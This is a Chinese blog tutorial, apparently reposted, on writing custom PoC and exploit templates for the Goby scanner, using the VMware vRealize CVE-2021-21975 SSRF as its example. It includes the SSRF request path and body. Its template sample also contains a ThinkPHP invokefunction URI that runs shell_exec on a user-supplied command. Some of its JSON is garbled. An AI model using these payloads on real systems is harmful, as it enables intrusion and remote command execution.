goby编写自定义poc

  • A+
所属分类:安全文章

前言

goby是一款攻击面分析工具,同时拥有资产扫描、资产识别和漏洞扫描能力,安装简单,直接解压即可使用,界面也非常友好,内置了大量由官方和其他网络安全从业者提供的poc。

官网:https://gobies.org/

帮助goby提交poc积攒到一定数量可以获取功能更强大的hvv红队专版,本文以CVE-2021-21975 VMware vRealize Operations Manager SSRF为例记录一下goby-poc的编写过程。

准备工作

1.去poc群获取最新版本goby

2.在已有poc列表中确认自己要写的poc和别人没有重复

编写流程

poc

打开最新版goby,点击Vulnerability页面中的PoC Management

点击右上角的+POC新增POC

goby编写自定义poc

本界面主要要填写漏洞的基本信息以及检测条件。

基本信息包括漏洞名称、威胁等级、漏洞类型、描述、影响、作者、产品地址等,一般我们写漏洞预警或者提交其他漏洞的时候都对这些很熟悉了,就不在赘述了,根据官方文档中的规范来填写即可。

goby编写自定义poc

比较需要注意的一点是检测条件,它代表着goby识别到某种资产,才会使用此poc进行验证,所以要根据右边问号的提示尽量的精确识别出资产,才能保证poc在使用的时候确实被触发。

goby编写自定义poc

填写完之后点击test选项卡,填写漏洞探测相关的参数,如果有多个请求可以点击加号新增,可以根据实际情况选择and和or条件

在每一个请求中,Request中需要填写请求类型、url路径、header、以及Post Data。

根据漏洞本身探测的报文,按照下图格式填写就行

如VMware vRealize Operations Manager SSRF的探测

需要往/casa/nodes/thumbprints路径post一条json数据,json数据中使用其本机443端口的ui页面作为探测目标,即填写[“127.0.0.1:443/ui”]

goby编写自定义poc

Response中需要填写判断漏洞存在的条件,如http响应状态、http头、Body中包含的关键文本等都可以作为判断依据。

在本例中需要同时满足http响应状态为200,且响应body中包含vRealize Operations Manager关键字,则如下填写

goby编写自定义poc

随后就可以保存并使用右上角的单ip探测功能尝试自己的poc是否有效(目前不支持https,如果遇到https的情况,可以将其先保存,然后在PoC Management界面导入此poc,然后直接扫描存在此漏洞的站点对poc进行测试)

此时poc的部分完成了,可以在PoC Management 中import进来,然后测试一下是否可以检测出漏洞

goby编写自定义poc

exp

goby还有Verify功能,我们需要增加exp部分才可以在扫描到漏洞之后直接用goby验证,但是这部分没法在gui编写,所以需要了解以下格式。

"HasExp"true    // 是否录入 Exp,如有 Exp,Goby 在扫描到漏洞后会展现出 verify 按钮用以执行 Exp 验证漏洞
"ExpParams": [    // 前端需要传递给 Exp 的参数,如要执行的命令
    {
        "name""cmd",  // 参数的名称
        "type""input", // 参数输入类型,input 表示需要用户输入,select 表示 Exp 可以提供默认列表让用户进行选择输入内容
        "value""whoami" // 参数的值
    }
]
"ExploitSteps": [
    "AND",
    {
        "Request": {
            "method""GET",
            "uri""/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]={{{cmd}}}",     // 通过 {{{参数名称}}} 引用前端传递过来的值
            "follow_redirect"true,
            "header": {},
            "data_type""text",
            "data"""
        },
        "SetVariable": ["output|lastbody"]  // 将响应的 HTTP Body 打印出来,展示命令执行效果
    }
]

在本例ssrf中,我们需要修改post数据中的ip:port/url部分,所以做如下更改

 "HasExp"true,
 "ExpParams": [
           {
                 "name""url",
                 "type""input",
                 "value""127.0.0.1:443/ui"
           }
     ],
 "ExploitSteps": [
"AND",
{
  "Request": {
  "method""POST",
  "uri""/casa/nodes/thumbprints,
  "
follow_redirect": true,
  "
header": {
   "
Content-Type": "application/json;charset=UTF-8"
  },
  "
data_type": "text",
  "
data": "["{{{url}}}"]"
  },
  "
SetVariable": ["output|lastbody"]
}
 ],

我们可以将Editor选项卡中对应的项替换修改,也可以打开goby解压目录的golibexploitsuser寻找刚才保存的文件进行修改,保存之后就可以使用了

使用对方本地测试

goby编写自定义poc

使用dnslog测试

goby编写自定义poc

参考资料

goby官方的poc教程 https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

作者:Leticia's Blog ,详情点击阅读原文。


推荐阅读goby编写自定义poc
觉得不错点个“赞”、“在看”,支持下小编goby编写自定义poc

本文始发于微信公众号(乌雲安全):goby编写自定义poc

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: